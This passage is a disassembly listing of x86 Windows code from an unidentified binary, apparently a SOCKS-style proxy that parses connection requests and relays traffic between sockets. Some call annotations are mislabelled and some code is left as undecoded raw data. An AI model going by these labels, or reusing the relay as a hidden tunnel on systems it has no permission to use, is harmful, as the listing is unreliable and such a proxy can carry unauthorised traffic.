mov [esp+51Ch+var_504], 1
xor eax, eax
lea ecx, [esp+51Ch+var_500]
loc_42A535: ; CODE XREF: sub_42A440+100j
cmp [ecx], ebx
jz short loc_42A542
inc eax
add ecx, 4
cmp eax, 1
jb short loc_42A535
loc_42A542: ; CODE XREF: sub_42A440+F7j
cmp eax, 1
jnz short loc_42A554
mov [esp+eax*4+51Ch+var_500], ebx
mov eax, [esp+51Ch+var_504]
inc eax
mov [esp+51Ch+var_504], eax
loc_42A554: ; CODE XREF: sub_42A440+105j
lea ecx, [esp+51Ch+var_50C]
lea edx, [esp+51Ch+var_504]
push ecx
push edx
push 0
push 0
push 2
nop
call near ptr 71AB2DC0h
test eax, eax
jle loc_42A461
loc_42A572: ; CODE XREF: sub_42A440+B3j
; sub_42A440+B7j ...
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 50Ch
retn 8
sub_42A440 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42A5F0 proc near ; CODE XREF: sub_401C1Cj
var_51C = word ptr -51Ch
var_51A = word ptr -51Ah
var_518 = dword ptr -518h
var_50C = dword ptr -50Ch
var_508 = dword ptr -508h
var_504 = dword ptr -504h
var_500 = dword ptr -500h
var_400 = dword ptr -400h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
sub esp, 51Ch
push ebx
push ebp
mov ebp, [esp+524h+arg_4]
push esi
push edi
mov edx, ecx
movsx eax, byte ptr [ebp+3]
dec eax
mov [esp+52Ch+var_508], 0
mov [esp+52Ch+var_50C], 7
mov [esp+52Ch+var_51C], 2
jz short loc_42A68F
dec eax
jz short loc_42A63A
dec eax
jnz loc_42A782
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 51Ch
retn 0Ch
; ---------------------------------------------------------------------------
loc_42A63A: ; CODE XREF: sub_42A5F0+32j
movsx eax, byte ptr [ebp+4]
mov ecx, eax
lea esi, [ebp+5]
mov ebx, ecx
lea edi, [esp+52Ch+var_400]
shr ecx, 2
rep movsd
mov ecx, ebx
and ecx, 3
rep movsb
mov byte ptr [esp+eax+52Ch+var_400], 0
lea eax, [esp+52Ch+var_518]
lea ecx, [esp+52Ch+var_400]
push eax
push ecx
mov ecx, edx
call sub_40174E
test al, al
jz loc_42A782
movsx esi, byte ptr [ebp+4]
mov dx, [esi+ebp+5]
add esi, 7
mov [esp+52Ch+var_51A], dx
jmp short loc_42A6AB
; ---------------------------------------------------------------------------
loc_42A68F: ; CODE XREF: sub_42A5F0+2Fj
mov eax, [ebp+4]
mov esi, 0Ah
mov [esp+52Ch+var_400], eax
mov [esp+52Ch+var_518], eax
mov ax, [ebp+8]
mov [esp+52Ch+var_51A], ax
loc_42A6AB: ; CODE XREF: sub_42A5F0+9Dj
mov ebx, dword_50FC30
push 11h
push 2
push 2
call ebx ; socket
push 11h
push 2
push 2
mov edi, eax
call ebx ; socket
cmp edi, 0FFFFFFFFh
jz loc_42A782
cmp eax, 0FFFFFFFFh
jnz loc_42A782
mov edx, [esp+52Ch+arg_8]
lea ecx, [esp+52Ch+var_51C]
push 10h
push ecx
sub edx, esi
push 0
add esi, ebp
mov ebp, dword_50FC5C
push edx
push esi
push edi
call ebp ; sendto
mov ebx, [esp+52Ch+arg_0]
push 10h
push ebx
push edi
nop
call near ptr 71AB3E00h
test eax, eax
jnz short loc_42A782
loc_42A709: ; CODE XREF: sub_42A5F0+174j
lea eax, [esp+52Ch+var_50C]
lea ecx, [esp+52Ch+var_504]
push eax
push 0
push 0
push ecx
push 1
mov [esp+540h+var_500], 0FFFFFFFFh
mov [esp+540h+var_504], 1
nop
call near ptr 71AB2DC0h
push 0
push 0
push 0
lea edx, [esp+538h+var_400]
push 3FFh
push edx
push edi
nop
call near ptr 71AB2D0Fh
push 10h
mov esi, eax
push ebx
push 0
lea eax, [esp+538h+var_400]
push esi
push eax
push 0FFFFFFFFh
call ebp ; sendto
test esi, esi
jbe short loc_42A766
cmp esi, 0FFFFFFFFh
jnz short loc_42A709
loc_42A766: ; CODE XREF: sub_42A5F0+16Fj
mov esi, dword_50FC88
push edi
call esi ; closesocket
push 0FFFFFFFFh
call esi ; closesocket
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 51Ch
retn 0Ch
; ---------------------------------------------------------------------------
loc_42A782: ; CODE XREF: sub_42A5F0+35j
; sub_42A5F0+86j ...
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 51Ch
retn 0Ch
sub_42A5F0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42A810 proc near ; CODE XREF: sub_42B2D0:loc_4013A2j
var_82C = dword ptr -82Ch
var_828 = dword ptr -828h
var_824 = dword ptr -824h
var_820 = dword ptr -820h
var_81C = byte ptr -81Ch
var_81A = word ptr -81Ah
var_818 = dword ptr -818h
var_80C = dword ptr -80Ch
var_808 = dword ptr -808h
var_7E8 = dword ptr -7E8h
var_7E4 = dword ptr -7E4h
var_708 = byte ptr -708h
var_707 = byte ptr -707h
var_705 = dword ptr -705h
var_604 = word ptr -604h
var_600 = dword ptr -600h
var_5F0 = byte ptr -5F0h
var_200 = byte ptr -200h
var_100 = byte ptr -100h
arg_0 = dword ptr 4
sub esp, 82Ch
push ebx
push ebp
push esi
mov esi, [esp+838h+arg_0]
cmp esi, 0FFFFFFFFh
push edi
mov ebp, ecx
mov [esp+83Ch+var_828], 0
mov [esp+83Ch+var_82C], 0Bh
mov [esp+83Ch+var_808], esi
mov [esp+83Ch+var_80C], 1
jz loc_42AACA
mov eax, [ebp-8]
mov ecx, [eax+4]
mov ax, [ecx+ebp-2]
cmp ax, 1
jnz loc_42ABE6
mov edi, dword_50FC80
lea edx, [esp+83Ch+var_82C]
push edx
push 0
lea eax, [esp+844h+var_80C]
push 0
push eax
push 1
call edi ; select
test eax, eax
jle loc_42AC73
lea ecx, [esp+83Ch+var_80C]
push ecx
push esi
call sub_436F60
; ---------------------------------------------------------------------------
dd 840FC085h, 3E3h, 16A066Ah, 0E890026Ah, 716892F5h, 89FFF883h
dd 0F1C2444h, 22184h, 901D8B00h, 6A0050FCh, 24948D00h
dd 240h, 5652026Ah, 0BC80D3FFh, 23C24h, 850F0500h, 1FEh
dd 2484BE0Fh, 23Dh, 948DC933h, 23C24h, 248C8900h, 23Ch
dd 40248C89h, 66000002h, 44248C89h, 51000002h, 88565250h
dd 256248Ch, 0D3FF0000h, 26A006Ah, 44534468h, 7BE85600h
dd 90716899h, 1024448Dh, 30244C8Dh, 6A006A50h, 16A5100h
dd 282444C7h, 0
; ---------------------------------------------------------------------------
mov [esp+82Ch+var_808], 7
mov [esp+82Ch+var_7E4], esi
mov [esp+82Ch+var_7E8], 1
call edi ; select
xor eax, eax
lea edx, [esp+82Ch+var_5F0]
push eax
mov ecx, 20h
lea edi, [esp+830h+var_5F0]
push 2
push edx
push esi
rep stosd
call ebx ; socket
cmp byte ptr [esp+83Ch+var_600], 1
jnz loc_42AACA
movsx eax, byte ptr [esp+83Ch+var_600+1]
push 0
lea ecx, [esp+840h+var_200]
push eax
push ecx
push esi
call ebx ; socket
movsx edx, byte ptr [esp+83Ch+var_600+1]
push 0
lea eax, [esp+840h+var_600]
push 1
push eax
push esi
mov [esp+edx+84Ch+var_200], 0
call ebx ; socket
movsx ecx, byte ptr [esp+83Ch+var_600]
push 0
lea edx, [esp+840h+var_100]
push ecx
push edx
push esi
call ebx ; socket
movsx eax, byte ptr [esp+83Ch+var_600]
mov ecx, [ebp-8]
mov [esp+eax+83Ch+var_100], 0
mov ecx, [ecx+4]
add ecx, ebp
call sub_4017E4
mov edi, eax
lea ecx, [esp+83Ch+var_200]
loc_42A9DB: ; CODE XREF: sub_42A810+1E9j
mov dl, [ecx]
mov al, dl
cmp dl, [edi]
jnz short loc_42A9FF
test al, al
jz short loc_42A9FB
mov dl, [ecx+1]
mov al, dl
cmp dl, [edi+1]
jnz short loc_42A9FF
add ecx, 2
add edi, 2
test al, al
jnz short loc_42A9DB
loc_42A9FB: ; CODE XREF: sub_42A810+1D5j
xor eax, eax
jmp short loc_42AA04
; ---------------------------------------------------------------------------
loc_42A9FF: ; CODE XREF: sub_42A810+1D1j
; sub_42A810+1DFj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_42AA04: ; CODE XREF: sub_42A810+1EDj
test eax, eax
jz short loc_42AA61
mov eax, [ebp-8]
mov ecx, [eax+4]
lea ecx, [ecx+ebp+15h]
call sub_4017E4
lea edi, [esp+83Ch+var_100]
loc_42AA1E: ; CODE XREF: sub_42A810+22Cj
mov dl, [edi]
mov cl, dl
cmp dl, [eax]
jnz short loc_42AA42
test cl, cl
jz short loc_42AA3E
mov dl, [edi+1]
mov cl, dl
cmp dl, [eax+1]
jnz short loc_42AA42
add edi, 2
add eax, 2
test cl, cl
jnz short loc_42AA1E
loc_42AA3E: ; CODE XREF: sub_42A810+218j
xor eax, eax
jmp short loc_42AA47
; ---------------------------------------------------------------------------
loc_42AA42: ; CODE XREF: sub_42A810+214j
; sub_42A810+222j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_42AA47: ; CODE XREF: sub_42A810+230j
test eax, eax
jz short loc_42AA61
push esi
nop
call near ptr 71AB9639h
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 82Ch
retn 4
; ---------------------------------------------------------------------------
loc_42AA61: ; CODE XREF: sub_42A810+1F6j
; sub_42A810+239j
mov edi, dword_50FC8C
push 0
push 2
push offset dword_445340
push esi
call edi ; send
lea eax, [esp+83Ch+var_82C]
lea ecx, [esp+83Ch+var_80C]
push eax
push 0
push 0
push ecx
push 1
mov [esp+850h+var_808], esi
mov [esp+850h+var_80C], 1
nop
call near ptr 71AB2DC0h
lea edx, [esp+83Ch+var_80C]
push edx
push esi
call sub_436F60
; ---------------------------------------------------------------------------
test eax, eax
jz short loc_42AACA
push 0
lea eax, [esp+840h+var_708]
push 4
push eax
push esi
call ebx ; socket
mov eax, [esp+83Ch+var_705]
and eax, 0FFh
dec eax
jz short loc_42AB31
sub eax, 2
jz short loc_42AAD9
dec eax
loc_42AAC8: ; CODE XREF: sub_42A810+31Fj
jnz short loc_42AB40
loc_42AACA: ; CODE XREF: sub_42A810+32j
; sub_42A810+154j ...
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 82Ch
retn 4
; ---------------------------------------------------------------------------
loc_42AAD9: ; CODE XREF: sub_42A810+2B5j
push 0
lea ecx, [esp+840h+var_600]
push 1
push ecx
push esi
call ebx ; socket
movsx edx, byte ptr [esp+83Ch+var_600]
push 0
lea eax, [esp+840h+var_705+1]
push edx
push eax
push esi
call ebx ; socket
movsx ecx, byte ptr [esp+83Ch+var_600]
lea edx, [esp+83Ch+var_600]
lea eax, [esp+83Ch+var_705+1]
mov byte ptr [esp+ecx+83Ch+var_705+1], 0
mov ecx, [ebp-8]
push edx
push eax
mov edx, [ecx+4]
lea ecx, [edx+ebp-8]
call sub_40174E
test al, al
jmp short loc_42AAC8
; ---------------------------------------------------------------------------
loc_42AB31: ; CODE XREF: sub_42A810+2B0j
push 0
lea eax, [esp+840h+var_600]
push 4
push eax
push esi
call ebx ; socket
loc_42AB40: ; CODE XREF: sub_42A810:loc_42AAC8j
push 0
lea ecx, [esp+840h+var_604]
push 2
push ecx
push esi
call ebx ; socket
cmp [esp+83Ch+var_707], 1
jnz loc_42AACA
mov ebx, [esp+83Ch+var_820]
mov dx, [esp+83Ch+var_604]
mov eax, [esp+83Ch+var_600]
lea ecx, [esp+83Ch+var_81C]
push 10h
push ecx
push ebx
mov word ptr [esp+848h+var_81C], 2
mov [esp+848h+var_81A], dx
mov [esp+848h+var_818], eax
call near ptr 71AB406Ah
nop
test eax, eax
jnz loc_42AACA
push eax
push 4
push offset dword_445338
push esi
call edi ; send
push 0
lea edx, [esp+840h+var_600]
push 4
push edx
push esi
call edi ; send
push 0
lea eax, [esp+840h+var_604]
push 2
push eax
push esi
call edi ; send
mov ecx, [ebp-8]
push ebx
push esi
mov edx, [ecx+4]
lea ecx, [edx+ebp-8]
call sub_4020C2
push ebx
nop
call near ptr 71AB9639h
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 82Ch
retn 4
; ---------------------------------------------------------------------------
loc_42ABE6: ; CODE XREF: sub_42A810+47j
cmp ax, 2
jnz loc_42AC73
mov ebx, dword_50FC80
loc_42ABF6: ; CODE XREF: sub_42A810+461j
lea eax, [esp+83Ch+var_82C]
lea ecx, [esp+83Ch+var_80C]
push eax
push 0
push 0
push ecx
push 1
mov [esp+850h+var_808], esi
mov [esp+850h+var_80C], 1
call ebx ; select
lea edx, [esp+83Ch+var_824]
lea eax, [esp+83Ch+var_81C]
push edx
push eax
push 0
lea ecx, [esp+848h+var_600]
push 3FFh
push ecx
push esi
mov [esp+854h+var_824], 10h
nop
call near ptr 71AB2D0Fh
mov ecx, [ebp-8]
mov edi, eax
lea edx, [esp+83Ch+var_600]
push edi
push edx
mov edx, [ecx+4]
lea eax, [esp+844h+var_81C]
push eax
lea ecx, [edx+ebp-8]
call sub_401C1C
test edi, edi
jz short loc_42AC73
cmp edi, 0FFFFFFFFh
jz short loc_42AC73
lea eax, [esp+83Ch+var_80C]
push eax
push esi
call sub_436F60
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_42ABF6
loc_42AC73: ; CODE XREF: sub_42A810+67j
; sub_42A810+3DAj ...
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 82Ch
retn 4
sub_42A810 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 120h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42ADB0 proc near ; CODE XREF: sub_401F19j
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
sub esp, 10h
push esi
mov esi, ecx
mov eax, [esi+32h]
test eax, eax
jz short loc_42ADC4
xor al, al
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_42ADC4: ; CODE XREF: sub_42ADB0+Bj
xor eax, eax
mov ax, [esi+6]
dec eax
jz short loc_42ADD6
dec eax
jz short loc_42ADF8
mov word ptr [esi+6], 1
loc_42ADD6: ; CODE XREF: sub_42ADB0+1Bj
mov eax, 1
mov ecx, 6
loc_42ADE0: ; CODE XREF: sub_42ADB0+52j
push ecx
push eax
push 2
nop
call near ptr 71AB3B91h
test eax, eax
mov [esi+32h], eax
jnz short loc_42AE04
xor al, al
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_42ADF8: ; CODE XREF: sub_42ADB0+1Ej
mov eax, 2
mov ecx, 11h
jmp short loc_42ADE0
; ---------------------------------------------------------------------------
loc_42AE04: ; CODE XREF: sub_42ADB0+3Fj
mov ax, [esi+4]
mov [esp+14h+var_10], 2
push eax
mov [esp+18h+var_C], 0
nop
call near ptr 71AB2B66h
mov edx, [esi+32h]
lea ecx, [esp+14h+var_10]
push 10h
push ecx
push edx
mov [esp+20h+var_E], ax
nop
call near ptr 71AB3E00h
test eax, eax
jz short loc_42AE49
mov eax, [esi+32h]
push eax
nop
call near ptr 71AB9639h
xor al, al
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_42AE49: ; CODE XREF: sub_42ADB0+86j
cmp word ptr [esi+6], 1
jnz short loc_42AE71
mov ecx, [esi+32h]
push 3
push ecx
nop
call near ptr 71AB88D3h
test eax, eax
jz short loc_42AE71
mov edx, [esi+32h]
push edx
call near ptr 71AB9639h
nop
xor al, al
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_42AE71: ; CODE XREF: sub_42ADB0+9Ej
; sub_42ADB0+AEj
mov al, 1
pop esi
add esp, 10h
retn
sub_42ADB0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42AEC0 proc near ; CODE XREF: sub_401DBBj
var_24 = byte ptr -24h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_42AEC0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push esi
push edi
mov edi, ecx
mov [ebp+var_10], esp
mov ax, [edi+6]
cmp ax, 1
jnz short loc_42AF5A
mov eax, [edi+32h]
mov [ebp+var_14], 10h
test eax, eax
jz short loc_42AF41
mov ebx, dword_50FC84
lea ecx, [ebp+var_14]
lea edx, [ebp+var_24]
push ecx
push edx
push eax
call ebx ; accept
mov esi, eax
test esi, esi
jnz short loc_42AF26
loc_42AF12: ; CODE XREF: sub_42AEC0+64j
mov edx, [edi+32h]
lea eax, [ebp+var_14]
lea ecx, [ebp+var_24]
push eax
push ecx
push edx
call ebx ; accept
mov esi, eax
test esi, esi
jz short loc_42AF12
loc_42AF26: ; CODE XREF: sub_42AEC0+50j
mov eax, [edi]
push esi
mov ecx, edi
mov [ebp+var_4], 0
call dword ptr [eax]
push esi
mov bl, al
call near ptr 71AB9639h
nop
test bl, bl
jnz short loc_42AF7A
loc_42AF41: ; CODE XREF: sub_42AEC0+39j
; sub_42AEC0+9Ej ...
xor al, al
mov ecx, [ebp+var_C]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42AF54: ; DATA XREF: ___:00441F74o
mov eax, offset loc_42AF41
retn
; ---------------------------------------------------------------------------
loc_42AF5A: ; CODE XREF: sub_42AEC0+2Bj
cmp ax, 2
jnz short loc_42AF41
mov eax, [edi+32h]
mov edx, [edi]
push eax
mov ecx, edi
call dword ptr [edx]
mov ecx, [edi+32h]
mov bl, al
push ecx
nop
call near ptr 71AB9639h
test bl, bl
jz short loc_42AF41
loc_42AF7A: ; CODE XREF: sub_42AEC0+7Fj
mov ecx, [ebp+var_C]
pop edi
pop esi
mov al, 1
mov large fs:0, ecx
pop ebx
mov esp, ebp
pop ebp
retn
sub_42AEC0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42AFD0: ; CODE XREF: ___:00401F78j
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset loc_43BB90
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ebx
push esi
mov esi, [ebp+8]
push edi
mov [ebp-10h], esp
mov dword ptr [ebp-4], 0
mov eax, [esi]
mov ecx, [eax+4]
mov eax, [ecx+esi+32h]
add ecx, esi
push eax
mov edx, [ecx]
call dword ptr [edx]
mov ecx, [esi]
mov edx, [ecx+4]
mov eax, [edx+esi+32h]
push eax
nop
call near ptr 71AB9639h
loc_42B019: ; DATA XREF: ___:loc_42B031o
mov ecx, [ebp-0Ch]
pop edi
pop esi
mov eax, 1
mov large fs:0, ecx
pop ebx
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
loc_42B031: ; DATA XREF: ___:00441FD4o
mov eax, offset loc_42B019
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B060 proc near ; CODE XREF: sub_401C17j
var_19C = byte ptr -19Ch
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_4 = byte ptr 8
arg_1C = byte ptr 20h
push 0FFFFFFFFh
push offset SEH_42B060
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 194h
lea eax, [esp+1A0h+var_19C]
mov [esp+1A0h+var_4], 1
push eax
push 2
nop
call near ptr 71AB664Dh
test eax, eax
jz short loc_42B0D7
loc_42B097: ; CODE XREF: ___:0042B166j
lea ecx, [esp+1A0h+arg_4]
mov byte ptr [esp+1A0h+var_4], 0
call sub_401226
lea ecx, [esp+1A0h+arg_1C]
mov [esp+1A0h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+1A0h+var_C]
mov large fs:0, ecx
add esp, 1A0h
retn
; ---------------------------------------------------------------------------
loc_42B0D7: ; CODE XREF: sub_42B060+35j
push 42h
call sub_4367FA
sub_42B060 endp
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+0], eax
test eax, eax
mov byte ptr [esp+19Ch], 2
jz short loc_42B0FC
push 1
mov ecx, eax
call sub_4014E7
jmp short loc_42B0FE
; ---------------------------------------------------------------------------
loc_42B0FC: ; CODE XREF: ___:0042B0EFj
xor eax, eax
loc_42B0FE: ; CODE XREF: ___:0042B0FAj
mov dword_50E3D8, eax
mov ecx, [eax]
mov byte ptr [esp+19Ch], 1
mov edx, [ecx+4]
mov cx, [esp+1A4h]
mov [edx+eax+4], cx
mov eax, dword_50E3D8
lea edx, [esp+1A8h]
mov ecx, [eax]
push edx
mov edx, [ecx+4]
lea ecx, [edx+eax+8]
call sub_40200E
lea eax, [esp+1C0h]
push eax
mov eax, dword_50E3D8
mov ecx, [eax]
mov edx, [ecx+4]
lea ecx, [edx+eax+1Dh]
call sub_40200E
mov eax, dword_50E3D8
mov ecx, [eax]
mov ecx, [ecx+4]
add ecx, eax
call sub_401F19
test al, al
jz loc_42B097
loc_42B16C: ; CODE XREF: ___:0042B17Dj
mov eax, dword_50E3D8
mov edx, [eax]
mov ecx, [edx+4]
add ecx, eax
call sub_401DBB
jmp short loc_42B16C
; ---------------------------------------------------------------------------
db 90h
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B1D0 proc near ; CODE XREF: sub_4014E7j
var_4 = dword ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
test eax, eax
mov esi, ecx
mov [esp+8+var_4], 0
jz short loc_42B1F2
lea ecx, [esi+8]
mov dword ptr [esi], offset dword_43E190
call sub_4014AB
loc_42B1F2: ; CODE XREF: sub_42B1D0+12j
mov eax, [esi]
mov ecx, [eax+4]
mov dword ptr [ecx+esi], offset off_43E18C
mov edx, [esi]
mov eax, [edx+4]
lea ecx, [eax-8]
mov [eax+esi-4], ecx
mov eax, esi
pop esi
pop ecx
retn 4
sub_42B1D0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B240 proc near ; CODE XREF: sub_4014ABj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_42B240
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+8]
call sub_401424
lea ecx, [esi+1Dh]
mov [esp+14h+var_4], 0
call sub_401424
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43E19C
mov dword ptr [esi+32h], 0
mov word ptr [esi+6], 1
mov word ptr [esi+4], 0
mov dword ptr [esi+36h], 1000h
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_42B240 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B2D0 proc near ; CODE XREF: sub_4020D1j
; FUNCTION CHUNK AT 004013A2 SIZE 00000005 BYTES
sub ecx, [ecx-4]
jmp loc_4013A2
sub_42B2D0 endp
; ---------------------------------------------------------------------------
align 10h
loc_42B2E0: ; CODE XREF: ___:00401352j
push 0FFFFFFFFh
push offset loc_43BC08
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+4], esi
call sub_401F82
push offset off_443D80
lea ecx, [esi+11h]
mov dword ptr [esp+14h], 0
mov dword ptr [esi], offset off_43E1A0
call sub_4015D7
mov ecx, [esp+8]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B350 proc near ; CODE XREF: ___:00401398j sub_401F41j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_4011BD
test [esp+4+arg_0], 1
jz short loc_42B368
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_42B368: ; CODE XREF: sub_42B350+Dj
mov eax, esi
pop esi
retn 4
sub_42B350 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_42B380 proc near ; CODE XREF: sub_4011BDj
jmp sub_40179E
sub_42B380 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B3A0 proc near ; CODE XREF: sub_40134Dj
var_10 = byte ptr -10h
mov eax, 1000h
call sub_436840
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, [esi+99h]
mov cl, [eax+11Ch]
test cl, cl
jz short loc_42B42C
mov ebx, dword_50FC90
mov ebp, dword_50FC8C
loc_42B3CC: ; CODE XREF: sub_42B3A0+8Aj
mov edx, [esi+9Dh]
mov ecx, 400h
xor eax, eax
lea edi, [esp+10h]
rep stosd
push eax
mov eax, [edx+0A5h]
lea ecx, [esp+14h]
push 1000h
push ecx
push eax
call ebx ; recv
test eax, eax
jz short loc_42B42C
cmp eax, 0FFFFFFFFh
jz short loc_42B42C
mov edx, [esi+9Dh]
push 0
push eax
lea ecx, [esp+28h+var_10]
mov eax, [edx+0A1h]
push ecx
push eax
call ebp ; send
test eax, eax
jz short loc_42B42C
cmp eax, 0FFFFFFFFh
jz short loc_42B42C
mov ecx, [esi+99h]
mov al, [ecx+11Ch]
test al, al
jnz short loc_42B3CC
loc_42B42C: ; CODE XREF: sub_42B3A0+1Ej
; sub_42B3A0+55j ...
mov edx, [esi+9Dh]
pop edi
pop esi
pop ebp
mov eax, [edx+0A1h]
pop ebx
cmp eax, 0FFFFFFFFh
jz short loc_42B448
push eax
nop
call near ptr 71AB9639h
loc_42B448: ; CODE XREF: sub_42B3A0+9Fj
add esp, 1000h
retn
sub_42B3A0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B480 proc near ; CODE XREF: sub_401663j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_42B480
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401F82
push offset off_443D80
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43E1B0
call sub_4015D7
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_42B480 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B4F0 proc near ; CODE XREF: ___:004013A7j sub_401B22j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401217
test [esp+4+arg_0], 1
jz short loc_42B508
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_42B508: ; CODE XREF: sub_42B4F0+Dj
mov eax, esi
pop esi
retn 4
sub_42B4F0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_42B520 proc near ; CODE XREF: sub_401217j
jmp sub_40179E
sub_42B520 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B540 proc near ; CODE XREF: sub_40152Dj
var_50 = byte ptr -50h
var_40 = byte ptr -40h
var_30 = byte ptr -30h
var_28 = dword ptr -28h
var_20 = byte ptr -20h
var_1C = dword ptr -1Ch
var_C = byte ptr -0Ch
var_A = word ptr -0Ah
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, 1014h
call sub_436840
push ebx
push ebp
push esi
mov esi, ecx
push edi
or edi, 0FFFFFFFFh
mov eax, [esi+99h]
mov [esi+0A5h], edi
mov cl, [eax+11Ch]
test cl, cl
jz loc_42B70A
mov ebx, 1
push 6
push ebx
push 2
nop
call near ptr 71AB3B91h
cmp eax, edi
mov [esi+0A5h], eax
jnz short loc_42B598
mov [esi+0A5h], edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 1014h
retn
; ---------------------------------------------------------------------------
loc_42B598: ; CODE XREF: sub_42B540+45j
mov dx, [esi+3Fh]
xor ecx, ecx
mov [esp+1Ch+var_8], ecx
push edx
mov [esp+20h+var_4], ecx
mov word ptr [esp+20h+var_8], 2
mov [esp+20h], ecx
mov [esp+20h+arg_0], ecx
nop
call near ptr 71AB2B66h
lea ecx, [esi+43h]
mov [esp+20h+var_A], ax
call sub_4017E4
push eax
call sub_40187F
add esp, 4
cmp eax, edi
mov [esp+20h+var_8], eax
jnz short loc_42B5F2
mov eax, [esi+0A5h]
push eax
call near ptr 71AB9639h
nop
pop edi
pop esi
pop ebp
pop ebx
add esp, 1014h
retn
; ---------------------------------------------------------------------------
loc_42B5F2: ; CODE XREF: sub_42B540+98j
mov edx, [esi+0A5h]
lea ecx, [esp+20h+var_C]
push 10h
push ecx
push edx
nop
call near ptr 71AB406Ah
cmp eax, edi
jnz short loc_42B622
mov eax, [esi+0A5h]
push eax
nop
call near ptr 71AB9639h
pop edi
pop esi
pop ebp
pop ebx
add esp, 1014h
retn
; ---------------------------------------------------------------------------
loc_42B622: ; CODE XREF: sub_42B540+C8j
mov edx, [esi+0A1h]
mov edi, dword_50FC50
lea ecx, [esp+2Ch+var_1C]
